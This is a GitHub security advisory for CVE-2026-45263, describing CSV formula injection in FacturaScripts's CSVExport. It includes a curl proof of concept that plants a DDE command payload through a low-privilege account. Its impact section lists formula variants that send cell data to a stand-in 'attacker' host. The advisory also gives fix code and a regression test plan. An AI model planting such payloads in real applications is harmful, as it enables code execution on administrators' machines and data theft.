{"id":"GHSA-2p5x-4jr6-x5jg","summary":"FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export","details":"## Summary\n\n\u003e **Live PoC verified 2026-04-30** against a stock FacturaScripts master at `127.0.0.1:8081`. A low-privilege user (`lowpriv`) created a customer with `nombre = \"=SUM(1+1)*cmd|/c calc!A1\"`. An admin then exported `ListCliente` to CSV via `?action=export&option=CSV`. The downloaded file contains the raw payload as the first cell of the `nombre` column, with no leading single quote and no escape. Excel and LibreOffice will execute the formula on open, including DDE invocations such as `=cmd|'/c calc'!A1` that spawn arbitrary processes on the admin workstation.\n\n`Core/Lib/Export/CSVExport.php::writeData()` wraps every cell in the configured delimiter (`\"`) and concatenates without inspecting the first character of the value. Spreadsheet applications interpret a cell that starts with `=`, `+`, `-`, `@`, `\\t`, or `\\r` as a formula. Because FacturaScripts only sanitises HTML metacharacters (`\u003c \u003e \" '`) on save via `Tools::noHtml()` (`Core/Tools.php:45`), the formula prefix characters survive untouched all the way to the export. The downstream consumer is the admin who triggered the export, giving the attacker a reliable handoff: low-priv user plants a payload in any text field that ships in the default list export, admin downloads the CSV (all normal billing/sales/purchasing workflow), and the admin's spreadsheet client runs the formula in the admin's local context.\n\n## Details\n\n### the export does not neutralise leading meta-characters\n\n`Core/Lib/Export/CSVExport.php:253-267`:\n\n```php\npublic function writeData(array $data, array $fields = [])\n{\n    if (!empty($fields)) {\n        $this-\u003ewriteHeader($fields);\n    }\n\n    foreach ($data as $row) {\n        $line = [];\n        foreach ($row as $cell) {\n            $line[] = is_string($cell) ? $this-\u003egetDelimiter() . $cell . $this-\u003egetDelimiter() : $cell;\n        }\n\n        $this-\u003ecsv[] = implode($this-\u003eseparator, $line);\n    }\n}\n```\n\nA string cell is rendered as `\"\u003cvalue\u003e\"`. There is no `str_starts_with(...)` check for the formula trigger characters (`= + - @ \\t \\r` per OWASP CSV-injection guidance) and no leading single-quote guard that Excel and LibreOffice both treat as \"force as text\". The same writer is reused for every list and document export through `addListModelPage()`, `addModelPage()`, `addBusinessDocPage()`, and `addTablePage()`.\n\n### the upstream sanitiser only scrubs HTML, not formulas\n\n`Core/Tools.php:45-46`:\n\n```php\nconst HTML_CHARS = ['\u003c', '\u003e', '\"', \"'\"];\nconst HTML_REPLACEMENTS = ['&lt;', '&gt;', '&quot;', '&#39;'];\n```\n\n`Tools::noHtml()` is the canonical input filter that models call from their `test()` method (e.g. `Cliente::test()` at `Core/Model/Cliente.php:319-321`). It strips angle brackets and quotes, none of which collide with the formula-injection alphabet. As a result, the `=`, `+`, `-`, `@` characters reach storage verbatim and the export pipeline emits them verbatim.\n\n### the export controller hands the payload back to whoever triggers it\n\n`Core/Lib/Export/CSVExport.php:240-245`:\n\n```php\npublic function show(Response &$response)\n{\n    $response-\u003eheaders-\u003eset('Content-Type', 'text/csv; charset=utf-8');\n    $response-\u003eheaders-\u003eset('Content-Disposition', 'attachment; filename=' . $this-\u003egetFileName() . '.csv');\n    $response-\u003esetContent($this-\u003egetDoc());\n}\n```\n\n`Content-Disposition: attachment` plus an `.csv` extension causes browsers to save the file. Double-clicking the downloaded file opens it in Excel/LibreOffice/Numbers, which honour formula execution by default. The attacker payload runs on the admin's machine with the admin's privileges, in a security context entirely outside the FacturaScripts blast radius.\n\n### default permission model exposes the data ingestion\n\nA user role only needs `Update`/`Insert` access to one of the default exportable models (`Cliente`, `Proveedor`, `Producto`, `Variante`, `Contacto`, etc.) to plant a payload. The admin export surface is reachable on the same controllers via `?action=export&option=CSV`. There is no separate confirmation step that warns the admin the export contains untrusted content.\n\n## PoC\n\n```bash\n# 0. Setup: create a low-privilege user with role granting access to ListCliente/EditCliente.\n#    (script in advisory environment, see also the prompt's helper).\n\n# 1. Log in as the low-privilege user and obtain a CSRF token.\nTOKEN=$(curl -s -c /tmp/fs-low-cookie 'http://127.0.0.1:8081/login' \\\n  | grep -oP 'name=\"multireqtoken\" value=\"\\K[^\"]+' | head -1)\ncurl -s -b /tmp/fs-low-cookie -c /tmp/fs-low-cookie \\\n  --data-urlencode \"fsNick=lowpriv\" \\\n  --data-urlencode \"fsPassword=lowpriv1234\" \\\n  --data-urlencode \"multireqtoken=$TOKEN\" \\\n  --data-urlencode \"action=login\" \\\n  http://127.0.0.1:8081/login -o /dev/null\n\n# 2. Get a fresh CSRF token for the EditCliente form.\nTOKEN=$(curl -s -b /tmp/fs-low-cookie http://127.0.0.1:8081/EditCliente \\\n  | grep -oP 'multireqtoken\" value=\"\\K[^\"]+' | head -1)\n\n# 3. Plant a Dynamic Data Exchange payload as the customer name.\ncurl -s -b /tmp/fs-low-cookie -X POST http://127.0.0.1:8081/EditCliente \\\n  --data-urlencode \"multireqtoken=$TOKEN\" \\\n  --data-urlencode \"action=insert\" \\\n  --data-urlencode 'nombre==SUM(1+1)*cmd|/c calc!A1' \\\n  --data-urlencode \"cifnif=11111111H\" \\\n  -o /dev/null\n\n# 4. As any admin, trigger the standard list-customers CSV export.\ncurl -s -b /tmp/fs-cookie2 \\\n  'http://127.0.0.1:8081/ListCliente?action=export&option=CSV' \\\n  -o /tmp/export.csv\n\n# 5. Confirm the formula payload survives unsanitised.\ngrep -F '=SUM(1+1)*cmd|/c calc!A1' /tmp/export.csv\n# Output (verified):\n# \"11111111H\";\"\";\"1\";\"\";...;\"=SUM(1+1)*cmd|/c calc!A1\";\"\";\"\";\"\";\"=SUM(1+1)*cmd|/c calc!A1\";...\n```\n\nOpening `/tmp/export.csv` in Microsoft Excel triggers the Dynamic Data Exchange dialog, which on a default-trusted document or after a single user click runs `cmd /c calc`. LibreOffice Calc evaluates `=SUM(1+1)*cmd|/c calc!A1` and produces the same DDE attempt. The admin sees nothing in the FacturaScripts UI to indicate that a CSV row contained a formula.\n\n## Impact\n\n* **Code execution on admin workstations.** The DDE/HYPERLINK payload runs in the admin's spreadsheet client outside any container, with the admin OS user's privileges. Beachhead for full host takeover.\n* **Credential theft.** Common variants (`=HYPERLINK(\"https://attacker/?p=\" & A1, \"Click\")`, `=WEBSERVICE(\"https://attacker/?p=\" & A1)`) exfiltrate adjacent cell values (customer names, fiscal IDs, balances) when the admin clicks the cell.\n* **Trust laundering.** Because the file came from \"our own ERP\" the admin has no reason to suspect the attachment, defeating the \"do not run untrusted spreadsheets\" hygiene that would otherwise apply.\n* **Trivial preconditions.** Any user role that can create or update a customer / supplier / product / contact (the bulk of accounting and sales staff) can stage the payload. The admin export action is unchanged from default and ships in the install.\n\n`AV:N` (the attacker only needs an authenticated browser session), `AC:L` (single POST), `PR:L` (low-privilege role), `UI:R` (admin must download and open the CSV, but this is the standard accounting workflow), `S:U` (impact contained to FacturaScripts data + admin host), `C:H I:H A:H` (full read/write/execute on the admin workstation once the DDE/macro fires). Score `6.3`.\n\n## Recommended Fix\n\nNeutralise formula leaders at write time inside `CSVExport::writeData()` so the export pipeline itself enforces the protection regardless of upstream sanitisation.\n\n```php\nprivate const FORMULA_TRIGGERS = ['=', '+', '-', '@', \"\\t\", \"\\r\"];\n\npublic function writeData(array $data, array $fields = [])\n{\n    if (!empty($fields)) {\n        $this-\u003ewriteHeader($fields);\n    }\n\n    foreach ($data as $row) {\n        $line = [];\n        foreach ($row as $cell) {\n            if (is_string($cell) && $cell !== '' && in_array($cell[0], self::FORMULA_TRIGGERS, true)) {\n                $cell = \"'\" . $cell;          // force-as-text per OWASP CSV-injection prevention\n            }\n\n            $line[] = is_string($cell)\n                ? $this-\u003egetDelimiter() . str_replace($this-\u003egetDelimiter(), $this-\u003egetDelimiter() . $this-\u003egetDelimiter(), $cell) . $this-\u003egetDelimiter()\n                : $cell;\n        }\n\n        $this-\u003ecsv[] = implode($this-\u003eseparator, $line);\n    }\n}\n```\n\nApply the same neutralisation in `writeHeader()`, in `XLSExport::getCursorRawData()` (lines 226-236 - the `Tools::fixHtml` helper does not address formulas), and in any other future exporter that emits spreadsheet-loadable formats.\n\nA regression test should:\n\n1. Insert a customer with `nombre = '=SUM(1+1)'`.\n2. Render the list to CSV via `CSVExport-\u003ewriteData()`.\n3. Assert the resulting line begins with `\"'=SUM(1+1)\"`, not `\"=SUM(1+1)\"`.\n4. Assert `nombre` containing an embedded delimiter (`a\"b`) is correctly doubled to `\"a\"\"b\"`.\n\nDefence in depth: emit `Content-Type: text/csv; charset=utf-8` plus a `Content-Disposition` filename that the operator's MUA/browser cannot trivially confuse for a trusted XLSX (e.g. always `*.csv`, never `*.xls` or `*.xlsx`), and document in `SECURITY.md` that exports must be opened with the spreadsheet's \"Import Text\" / \"From Text/CSV\" wizard until the application is upgraded.","aliases":["CVE-2026-45263"],"modified":"2026-07-14T17:41:43.124669Z","published":"2026-07-14T17:18:48Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-07-14T17:18:48Z","nvd_published_at":null,"cwe_ids":["CWE-1236"]},"references":[{"type":"WEB","url":"https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-2p5x-4jr6-x5jg"},{"type":"PACKAGE","url":"https://github.com/NeoRazorX/facturascripts"}],"affected":[{"package":{"name":"facturascripts/facturascripts","ecosystem":"Packagist","purl":"pkg:composer/facturascripts/facturascripts"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2026.1"}]}],"versions":["2018.03","2018.04","2018.05","2018.11","v2018.12","v2018.13","v2018.14","v2018.15","v2018.16","v2020.01","v2020.2","v2020.3","v2020.4","v2020.51","v2020.61","v2020.71","v2020.80","v2021","v2021.1","v2021.2","v2021.4","v2021.51","v2021.71","v2021.81","v2022.06","v2022.08","v2022.2","v2022.4","v2022.51","v2023.03","v2023.08","v2023.16","v2023.21","v2024","v2024.1","v2024.2","v2024.3","v2024.5","v2024.7","v2024.8","v2024.9","v2024.91","v2024.93","v2024.94","v2024.95","v2024.96","v2025","v2025.11","v2025.2","v2025.3","v2025.4","v2025.41","v2025.43","v2025.7","v2025.71","v2025.8","v2025.81","v2026","v2026.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-2p5x-4jr6-x5jg/GHSA-2p5x-4jr6-x5jg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"}]}